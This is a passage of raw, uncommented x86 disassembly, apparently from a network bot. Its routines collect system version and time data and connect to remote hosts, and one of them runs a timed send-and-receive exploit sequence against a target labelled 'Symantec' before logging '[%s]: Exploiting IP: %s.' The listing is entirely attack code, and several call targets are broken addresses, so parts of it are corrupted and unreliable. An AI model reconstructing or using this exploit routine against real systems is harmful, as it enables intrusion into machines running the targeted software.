		jnz	short loc_41AE64


loc_41AE60:				; CODE XREF: sub_41ADDD+67j
		push	3
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE64:				; CODE XREF: sub_41ADDD+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AE70
		push	7


loc_41AE6F:				; CODE XREF: sub_41ADDD+4Fj
					; sub_41ADDD+5Cj ...
		pop	esi


loc_41AE70:				; CODE XREF: sub_41ADDD+25j
					; sub_41ADDD+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41ADDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE75	proc near		; CODE XREF: sub_41AF2B+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AE7D:				; CODE XREF: sub_41AE75+2Fj
					; sub_41AE75+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 268051Bh
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DBB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AE7D
		jb	short loc_41AEAC
		cmp	ebx, esi
		ja	short loc_41AE7D


loc_41AEAC:				; CODE XREF: sub_41AE75+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DC20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF1F
		jb	short loc_41AECB
		cmp	esi, 50h
		jnb	short loc_41AED0


loc_41AECB:				; CODE XREF: sub_41AE75+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AED0:				; CODE XREF: sub_41AE75+54j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AEDB
		cmp	esi, 47h
		jnb	short loc_41AEE0


loc_41AEDB:				; CODE XREF: sub_41AE75+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AEE0:				; CODE XREF: sub_41AE75+64j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AEEB
		cmp	esi, 37h
		jnb	short loc_41AEF0


loc_41AEEB:				; CODE XREF: sub_41AE75+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AEF0:				; CODE XREF: sub_41AE75+74j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AEFB
		cmp	esi, 26h
		jnb	short loc_41AF00


loc_41AEFB:				; CODE XREF: sub_41AE75+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF00:				; CODE XREF: sub_41AE75+84j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AF0B
		cmp	esi, 1Eh
		jnb	short loc_41AF10


loc_41AF0B:				; CODE XREF: sub_41AE75+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF10:				; CODE XREF: sub_41AE75+94j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AF1B
		cmp	esi, 0Ah
		jnb	short loc_41AF1F


loc_41AF1B:				; CODE XREF: sub_41AE75+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF1F:				; CODE XREF: sub_41AE75+4Dj
					; sub_41AE75+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF2B	proc near		; CODE XREF: sub_401AC7+2711p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43B4B8
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26E0636h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AFB2
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AF8E
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AF78
		mov	[ebp+var_4], offset dword_431630


loc_41AF78:				; CODE XREF: sub_41AF2B+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B02D
		mov	[ebp+var_4], offset dword_43162C
		jmp	short loc_41AFFE
; ---------------------------------------------------------------------------


loc_41AF8E:				; CODE XREF: sub_41AF2B+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AFA0
		mov	[ebp+var_4], offset dword_431628
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFA0:				; CODE XREF: sub_41AF2B+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AFEE
		mov	[ebp+var_4], offset dword_431624
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFB2:				; CODE XREF: sub_41AF2B+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AFEE
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFCC
		mov	[ebp+var_4], offset dword_431620
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFCC:				; CODE XREF: sub_41AF2B+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AFDE
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFDE:				; CODE XREF: sub_41AF2B+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AFF5


loc_41AFEE:				; CODE XREF: sub_41AF2B+7Cj
					; sub_41AF2B+8Ej
		mov	[ebp+var_4], offset dword_431614


loc_41AFF5:				; CODE XREF: sub_41AF2B+73j
					; sub_41AF2B+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B02D


loc_41AFFE:				; CODE XREF: sub_41AF2B+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B02D
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_4363DC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B02D:				; CODE XREF: sub_41AF2B+54j
					; sub_41AF2B+D1j ...
		mov	ax, word_437BD4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4C91E4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B066
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B066:				; CODE XREF: sub_41AF2B+12Cj
		push	[ebp+arg_4]
		call	sub_40A9FA
		pop	ecx
		push	eax
		call	dword_4C9344
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4C92BC
		cmp	eax, ebx
		jz	short loc_41B08F
		push	dword ptr [eax]
		jmp	short loc_41B094
; ---------------------------------------------------------------------------


loc_41B08F:				; CODE XREF: sub_41AF2B+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B094:				; CODE XREF: sub_41AF2B+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C006
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A4A0
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 27514C3h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2860000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C151
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416D8D
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41AD74
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AE75
		push	edx
		push	eax
		push	offset dword_43A3C4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C100
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1DF	proc near		; CODE XREF: sub_401AC7+273Fp
					; sub_401AC7+71F4p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		cmp	dword_4C93EC, 0
		jnz	short loc_41B253
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4C91C8
		test	eax, eax
		jnz	short loc_41B234
		lea	eax, [ebp+var_8C]
		push	offset dword_43A518
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41B234:				; CODE XREF: sub_41B1DF+40j
		test	[ebp+var_C], 1
		jz	short loc_41B24C
		push	offset dword_43A510


loc_41B23F:				; CODE XREF: sub_41B1DF+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_41B272
; ---------------------------------------------------------------------------


loc_41B24C:				; CODE XREF: sub_41B1DF+59j
		push	offset off_43A50C
		jmp	short loc_41B23F
; ---------------------------------------------------------------------------


loc_41B253:				; CODE XREF: sub_41B1DF+28j
		mov	esi, offset off_43A508
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41C006
		add	esp, 10h


loc_41B272:				; CODE XREF: sub_41B1DF+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A4C4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C100
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B1DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2A5	proc near		; DATA XREF: sub_401AC7+75A0o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A5F8
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BD10
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BD10
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4C9200
		test	eax, eax
		jz	loc_41B43F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B37C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B37C:				; CODE XREF: sub_41B2A5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B39A
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B39A:				; CODE XREF: sub_41B2A5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B3B4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B3B4:				; CODE XREF: sub_41B2A5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B3CE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B3CE:				; CODE XREF: sub_41B2A5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4C92B4
		call	dword_4C92D8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B457
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4C92CC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B45E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4C9278
		test	eax, eax
		jz	short loc_41B438
		push	offset dword_43A5DC
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B438:				; CODE XREF: sub_41B2A5+18Aj
		push	offset unk_43A5A0
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B43F:				; CODE XREF: sub_41B2A5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A584
		push	eax
		call	sub_41C006
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B471
; ---------------------------------------------------------------------------


loc_41B457:				; CODE XREF: sub_41B2A5+153j
		push	offset unk_43A558
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B45E:				; CODE XREF: sub_41B2A5+17Bj
		push	offset unk_43A528


loc_41B463:				; CODE XREF: sub_41B2A5+191j
					; sub_41B2A5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41B471:				; CODE XREF: sub_41B2A5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B49C
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409862
		add	esp, 14h


loc_41B49C:				; CODE XREF: sub_41B2A5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	esi
		call	dword_4C9338
		push	[ebp+var_4]
		call	dword_4C9338
		push	[ebp+var_1D8]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B4CF	proc near		; CODE XREF: sub_401AC7+4FA4p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4D960C
		push	0
		push	esi
		call	sub_41BD10
		push	[esp+10h+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C100
		add	esp, 1Ch
		pop	esi
		retn
sub_41B4CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4FB	proc near		; CODE XREF: ___:0041B7E3p
					; ___:0041B800p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4CC030
		lea	edi, [ebp+var_C]
		mov	ax, word_43A5FC
		movsd
		movsb
		mov	esi, offset dword_4D970C
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_433ED8
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4C91BC
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B5C7
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B54D:				; CODE XREF: sub_41B4FB+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B56D
		dec	eax
		jnz	short loc_41B5BB
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B581
; ---------------------------------------------------------------------------


loc_41B56D:				; CODE XREF: sub_41B4FB+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B581:				; CODE XREF: sub_41B4FB+70j
		push	eax
		push	edi
		call	dword_4C9354
		push	ebx
		call	sub_41B960
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B59D
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B5A2
; ---------------------------------------------------------------------------


loc_41B59D:				; CODE XREF: sub_41B4FB+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B5A2:				; CODE XREF: sub_41B4FB+A0j
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	ebx
		call	sub_41B960
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4C9354


loc_41B5BB:				; CODE XREF: sub_41B4FB+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B54D
		pop	ebx
		jmp	short loc_41B63D
; ---------------------------------------------------------------------------


loc_41B5C7:				; CODE XREF: sub_41B4FB+42j
		dec	eax
		jz	short loc_41B5E6
		dec	eax
		jnz	short loc_41B63D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5FD
; ---------------------------------------------------------------------------


loc_41B5E6:				; CODE XREF: sub_41B4FB+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5FD:				; CODE XREF: sub_41B4FB+E9j
		push	eax
		push	edi
		call	dword_4C9354
		push	[ebp+arg_4]
		call	sub_41B960
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B61B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B61B:				; CODE XREF: sub_41B4FB+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B620:				; CODE XREF: sub_41B4FB+11Ej
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	[ebp+arg_4]
		call	sub_41B960
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4C9354


loc_41B63D:				; CODE XREF: sub_41B4FB+CAj
					; sub_41B4FB+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B4FB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43A614
		lea	edi, [ebp-38h]
		mov	ax, word_433ED8
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43A610
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4CC030
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43A60C
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43A608
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43A604
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4C9384
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B6C4
		push	eax
		call	dword_4C939C


loc_41B6C4:				; CODE XREF: ___:0041B6BBj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4C9344
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4C9304
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		test	eax, eax
		jnz	loc_41B7C0


loc_41B6FC:				; CODE XREF: ___:0041B76Ej
					; ___:0041B7A5j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4C931C
		cmp	eax, esi
		jle	loc_41B7CE
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B7CE
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B770
		dec	eax
		jz	short loc_41B73E
		dec	eax
		jz	short loc_41B7AA
		jmp	short loc_41B7A0
; ---------------------------------------------------------------------------


loc_41B73E:				; CODE XREF: ___:0041B737j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7C0
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4C9354
		push	2
		pop	edi
		jmp	short loc_41B6FC
; ---------------------------------------------------------------------------


loc_41B770:				; CODE XREF: ___:0041B734j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7C0
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4C9354
		push	1
		pop	edi


loc_41B7A0:				; CODE XREF: ___:0041B73Cj
		cmp	edi, 3
		jz	short loc_41B7CE
		jmp	loc_41B6FC
; ---------------------------------------------------------------------------


loc_41B7AA:				; CODE XREF: ___:0041B73Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B7CE


loc_41B7C0:				; CODE XREF: ___:0041B6F6j
					; ___:0041B752j ...
		push	ebx
		call	dword_4C939C
		xor	eax, eax
		jmp	loc_41B957
; ---------------------------------------------------------------------------


loc_41B7CE:				; CODE XREF: ___:0041B721j
					; ___:0041B72Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4C9354
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B4FB
		mov	esi, dword_427088
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4D960C
		push	edi
		call	sub_41B960
		test	eax, eax
		pop	ecx
		jbe	short loc_41B86E


loc_41B831:				; CODE XREF: ___:0041B86Cj
		mov	eax, [ebp-4]
		movsx	eax, byte_4D960C[eax]
		push	eax
		push	offset dword_43A600
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C100
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B960
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B831


loc_41B86E:				; CODE XREF: ___:0041B82Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B887:				; CODE XREF: ___:0041B89Ej
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B887
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B8D8:				; CODE XREF: ___:0041B8F0j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B8D8
		push	ebx
		call	dword_4C939C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C100
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409862
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431810[eax]
		push	1
		lea	eax, dword_431810[eax]
		pop	eax


